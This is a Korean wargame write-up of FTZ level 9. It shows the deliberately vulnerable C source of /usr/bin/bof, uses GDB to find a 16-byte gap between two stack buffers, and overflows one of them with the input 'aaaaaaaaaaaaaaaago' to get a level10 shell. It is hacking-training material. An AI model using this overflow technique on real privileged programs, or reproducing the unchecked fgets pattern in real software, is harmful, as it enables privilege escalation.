FTZ LEVEL9부터 버퍼 오버 플로우 지식을 기초로 하는 문제가 등장합니다.
기초가 없으신 분들은 아래 링크에 달고나님의 문서를 올려두었습니다.
쭉 읽으면서 공부하시면 좋을 것 같아요 : )
ID : level9
PW : apple
Level9 접속!
[level9@ftz level9]$ ls -al
total 80
drwxr-xr-x 4 root level9 4096 Nov 13 2002 .
drwxr-xr-x 34 root root 4096 Sep 10 2011 ..
-rw------- 1 root root 1 Jan 15 2010 .bash_history
-rw-r--r-- 1 root root 24 Feb 24 2002 .bash_logout
-rw-r--r-- 1 root root 224 Feb 24 2002 .bash_profile
-rw-r--r-- 1 root root 151 Feb 24 2002 .bashrc
-rw-r--r-- 1 root root 400 Sep 24 2000 .cshrc
-rw-r--r-- 1 root root 4742 Sep 24 2000 .emacs
-r--r--r-- 1 root root 319 Sep 24 2000 .gtkrc
-rw-r--r-- 1 root root 100 Sep 24 2000 .gvimrc
-rw-r--r-- 1 root root 391 Nov 13 2002 hint
-rw-r--r-- 1 root root 226 Sep 24 2000 .muttrc
-rw-r--r-- 1 root root 367 Sep 24 2000 .profile
drwxr-xr-x 2 root level9 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level9 4096 Jul 3 08:45 tmp
-rw------- 1 root root 1 May 7 2002 .viminfo
-rw-r--r-- 1 root root 4145 Sep 24 2000 .vimrc
-rw-r--r-- 1 root root 245 Sep 24 2000 .Xdefaults
힌트를 읽어봅시다.
[level9@ftz level9]$ cat hint
다음은 /usr/bin/bof의 소스이다.
#include
#include
#include
main(){
char buf2[10];
char buf[10];
printf("It can be overflow : ");
fgets(buf,40,stdin);
if ( strncmp(buf2, "go", 2) == 0 )
{
printf("Good Skill!\n");
setreuid( 3010, 3010 );
system("/bin/bash");
}
}
이를 이용하여 level10의 권한을 얻어라.
힌트로 /usr/bin/bof 의 소스코드를 줍니다.
먼저, 코드를 보면 buf2를 char형 배열로 10개를 할당하고, buf 또한 char형으로 10개를 할당합니다.
buf2를 먼저 할당해줬기 때문에 buf2는 buf보다 더 높은 주소를 가지게 됩니다.
이후, 'It can be overflow : '문자를 출력한 다음 fgets로 buf에 40byte 만큼 입력을 받습니다.
이때 할당된 buf 배열보다 더 많은 입력값을 받기 때문에 버퍼오버플로우가 터집니다.
* 버퍼 오버 플로우(Buffer OverFlow)란?
- 시스템 해킹의 대표적인 공격 방법 중 하나로서, 데이터가 지정된 크기의 공간보다 더 많은 입력을 통해 해당 메모리 공간을 벗어나는 경우이다. 프로그래밍 언어와 취약한 함수가 있는 경우 이를 이용해 공격을 시도하며 공격이 성공할 경우 시스템의 권한을 상승시키거나 악성 행위를 할 수 있기 때문에 공격에 대한 방어를 철저히 해야한다.
버퍼 오버 플로우가 터지게 되면, 입력은 buf에 받지만 그 메모리 공간을 벗어나는 입력을 했을 경우 buf2의 값까지도 영향을 줄 수 있습니다.
strncmp 함수를 통해 buf2의 값과 "go"라는 문자열의 2byte를 비교하게 됩니다.
이때, 비교하는 값이 같다면 strncmp 함수는 0을 반환하게 됩니다.
=> 0과 같다면 다음 레벨의 권한을 부여하고 shell을 실행시켜 level10의 권한을 얻게 됩니다.
* 데이터 입력은 낮은주소에서 높은주소로 입력되기 때문에, 만약 buf가 buf2보다 먼저 선언되었다면 buf에서의 입력으로 buf2에 영향을 줄 수 없다.
buf의 10byte를 채워주고 buf2의 첫영역부터 "go"를 채워봅시다.
[level9@ftz level9]$ /usr/bin/bof
It can be overflow : aaaaaaaaaago
[level9@ftz level9]$
아무것도 일어나지 않습니다.
컴파일 되는 과정에서 자동으로 buf와 buf2 사이에 dummy 값이 생성됩니다.
이를 알기 위해 실행파일을 GDB라는 디버깅 툴을 이용해 분석해봅시다.
* GDB?
보통은 GDB라고 부르는 GNU 디버거(GNU Debugger)는 GNU 소프트웨어 시스템을 위한 기본 디버거이다. GDB는 다양한 유닉스 기반의 시스템에서 동작하는 이식성있는 디버거로, 컴퓨터 프로그램의 실행을 추적하고 수정할 수 있는 많은 기능들을 제공한다.
GDB 사용법 : 준비중
바로 분석해봅시다.
[level9@ftz level9]$ gdb /usr/bin/bof -q
/usr/bin/bof: Permission denied.
(gdb) set disassembly-flavor intel
(gdb) disas main
No symbol table is loaded. Use the "file" command.
권한이 없는 것 같네요. 실행파일을 복사해서 분석해봅시다.
[level9@ftz level9]$ cp /usr/bin/bof ./tmp/
cp: cannot open `/usr/bin/bof' for reading: Permission denied
복사도 안되는 것 같네요. 그러면 힌트파일의 소스코드를 통해 직접 컴파일해봅시다.
* ./tmp 파일로 들어가서 소스코드를 컴파일해야 함 (tmp디렉터리 안에 파일이 생성 가능)
[level9@ftz level9]$ ls
hint public_html tmp
[level9@ftz level9]$ cd tmp
[level9@ftz tmp]$ vi attack.c
[level9@ftz tmp]$ gcc -o attack attack.c
vi를 통해 소스코드를 붙여넣고 gcc를 통해 컴파일 합니다.
[level9@ftz tmp]$ ls
attack attack.c
[level9@ftz tmp]$ ./attack
It can be overflow : aaaaaaaaaago
[level9@ftz tmp]$
프로그램도 잘 돌아가지요?
이제 다시 GDB를 실행해봅시다.
[level9@ftz tmp]$ gdb attack -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048420 <main+0>: push ebp
0x08048421 <main+1>: mov ebp,esp
0x08048423 <main+3>: sub esp,0x28
0x08048426 <main+6>: and esp,0xfffffff0
0x08048429 <main+9>: mov eax,0x0
0x0804842e <main+14>: sub esp,eax
0x08048430 <main+16>: sub esp,0xc
0x08048433 <main+19>: push 0x8048554
0x08048438 <main+24>: call 0x8048350
0x0804843d <main+29>: add esp,0x10
0x08048440 <main+32>: sub esp,0x4
0x08048443 <main+35>: push ds:0x8049698
0x08048449 <main+41>: push 0x28
0x0804844b <main+43>: lea eax,[ebp-40] <fgets>
0x0804844e <main+46>: push eax
0x0804844f <main+47>: call 0x8048320
0x08048454 <main+52>: add esp,0x10
0x08048457 <main+55>: sub esp,0x4
0x0804845a <main+58>: push 0x2
0x0804845c <main+60>: push 0x804856a
0x08048461 <main+65>: lea eax,[ebp-24] <strncmp>
0x08048464 <main+68>: push eax
0x08048465 <main+69>: call 0x8048330
0x0804846a <main+74>: add esp,0x10
0x0804846d <main+77>: test eax,eax
0x0804846f <main+79>: jne 0x80484a6 <main+134>
0x08048471 <main+81>: sub esp,0xc
0x08048474 <main+84>: push 0x804856d
0x08048479 <main+89>: call 0x8048350
0x0804847e <main+94>: add esp,0x10
0x08048481 <main+97>: sub esp,0x8
0x08048484 <main+100>: push 0xbc2
0x08048489 <main+105>: push 0xbc2
0x0804848e <main+110>: call 0x8048360
0x08048493 <main+115>: add esp,0x10
0x08048496 <main+118>: sub esp,0xc
0x08048499 <main+121>: push 0x804857a
0x0804849e <main+126>: call 0x8048310
0x080484a3 <main+131>: add esp,0x10
0x080484a6 <main+134>: leave
0x080484a7 <main+135>: ret
End of assembler dump.
다시 소스코드와 함께 봅시다.
#include
#include
#include
main(){
char buf2[10];
char buf[10];
printf("It can be overflow : ");
fgets(buf,40,stdin);
if ( strncmp(buf2, "go", 2) == 0 )
{
printf("Good Skill!\n");
setreuid( 3010, 3010 );
system("/bin/bash");
}
}
먼저 fgets 함수를 실행할 떄 buf의 주소를 인자로 사용하게 됩니다.
fgets(buf,40,stdin);
0x0804844b <main+43>: lea eax,[ebp-40]
0x0804844e <main+46>: push eax
fgets 함수 사용 전, 인자로 buf주소를 푸쉬해주는 과정
=>ebp-40 주소값을 가지고 있는 것을 알 수 있습니다.
strncmp(buf2, "go", 2)
0x08048461 <main+65>: lea eax,[ebp-24]
0x08048464 <main+68>: push eax
strncmp 함수 사용 전, 인자로 buf2주소를 푸쉬해주는 과정
=>ebp-24 주소값을 가지고 있는 것을 알 수 있습니다.
buf : ebp-40
buf2 : ebp-24
=>buf와 buf2의 거리는 16byte임을 알 수 있습니다.
buf(10)와 buf2(10) 사이의 dummy 값은 6byte인 것도 알 수 있습니다.
=>buf에서 16byte 넘게 입력받으면 buf2의 값을 변조할 수 있습니다.
q 명령어를 통해 gdb를 종료하고 실행해봅시다.
(gdb) q
[level9@ftz tmp]$ ./attack
It can be overflow : aaaaaaaaaaaaaaaago
Good Skill!
[level9@ftz tmp]$
buf2에 "go"값이 잘 들어갔죠?
이제 원본파일에 입력해봅시다.
[level9@ftz tmp]$ /usr/bin/bof
It can be overflow : aaaaaaaaaaaaaaaago
Good Skill!
[level10@ftz tmp]$
level10의 계정으로 로그인 된 것을 볼 수 있습니다.
my-pass를 해보면?
[level10@ftz tmp]$ my-pass
Level10 Password is
[level10@ftz tmp]$
레벨 9 clear!!
우리는 버퍼오버플로우를 입문했습니다.